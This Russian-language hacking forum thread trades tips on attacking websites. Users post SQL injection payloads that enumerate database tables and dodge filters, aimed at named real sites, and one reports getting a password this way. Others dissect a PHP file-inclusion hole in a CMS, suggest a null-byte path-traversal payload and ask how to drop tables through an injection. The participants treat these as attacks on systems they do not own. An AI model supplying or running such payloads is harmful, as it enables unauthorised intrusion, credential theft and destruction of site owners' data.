Ваши вопросы по уязвимостям.

обновляю пост) по чуть чуть)

 

На100ящий
table_schema+from+information_schema.tables+where+table_name=... табличка
советую почитать https://forum.antichat.ru/showpost.php?p=401199&postcount=17

Жжошь чтоле? =\
и кстате наверняка гет =(

 

Sabe, а ты случайно админку не нашёл???))))

 

Constantine
обновил пост. пасс получил этим способом)
пс: немножко подкурил..)
На100ящий
это я у тебя спрашиваю..) смысл взлома?)

 

Constantine, спс за ссылку....будем знать!!!! всё, надо ложиться спать, а то завтра гос(((

 

Sabe, пока учимся....))))

 

ну я тоже пока учусь..)

хсс+

 

/index.php?p=-1+union+select+1,2,unhex(hex(table_name))+from+INFORMATION_SCHEMA.TABLES/*
или так

 

ребята это инфо что то дает мне? есть толк от этой инфо?

 

забей он просто упал)) как встанет почекаем на скуль..)

http://www.bladeauction.com/index.php

 

вот у мя тут созрел пост:

значит рассматривается cms wow-ultimate...

при запросе

если ввести в name каконить брет, типа (ghj) то выдается:

это говрит о том что при запросе подгружается модуль из папки "modules" ,выполняется подгрузка с помощью функции require_once() которая прописана в файле "Z:\home\site\www\templates\wolk\block-center.php"

block-center.php:

PHP:

<?php
if (!$menu = &$_GET['page']) 
$menu=$main_page;
print "<table align=\"center\" valign=\"top\" cellSpacing=\"0\" cellPadding=\"0\" width=\"100%\" border=\"0\" ><tr>
<td width=\"100%\" valign=\"top\" align=\"center\" >";
require_once("modules/$menu.php");
print "</td></tr></table>";

?>

из кода можно увидеть что модуль вызывается посредствам подстановки переменой "$menu" в функцию

PHP:

require_once("modules/$menu.php")

терь собсно вапрос:
я читал что с помощью уязвимой функции require_once можно инклюдить php файлы с разными нихарошими кодами... можноли здесь чонить придумать :?

 

Помогите раскрутить

Всем привет!
Помогите раскрутить:
http://www.e1.ru/wap/tv/index.php?p_id=107/**/AND/**/1=2/**/UNION/**/SELECT/**/1,2,3/*

Похоже что есть apache security_mod, либо что-то самописное, не пропускает "FROM", сломал весь мозг

PS:понадобится wml browser.

 

2 nightmare007

попробуй вот так, может прокатит:

Code:

http://site/index.php?menu=с:/boot.ini%00

 

Эм... а на мои вопросы не ответили(

 

каким запром при mysql-inj удалить таблицу/базу данных?

это не катит

 

в контексте "SELECT" никак.

 

и как быть тогда?
как удалить таблицу/базу данных??

 

http://www.mysql.ru/docs/ - хороший сайт
DELETE FROM mag - удалить все записи из mag;

 

если не разделить DROP и SELECT то никак.

 

Разве DELETE можно выполнить в контексте SELECT?
Можно конечно запихнуть в хранимую функцию и использовать ее в SELECT.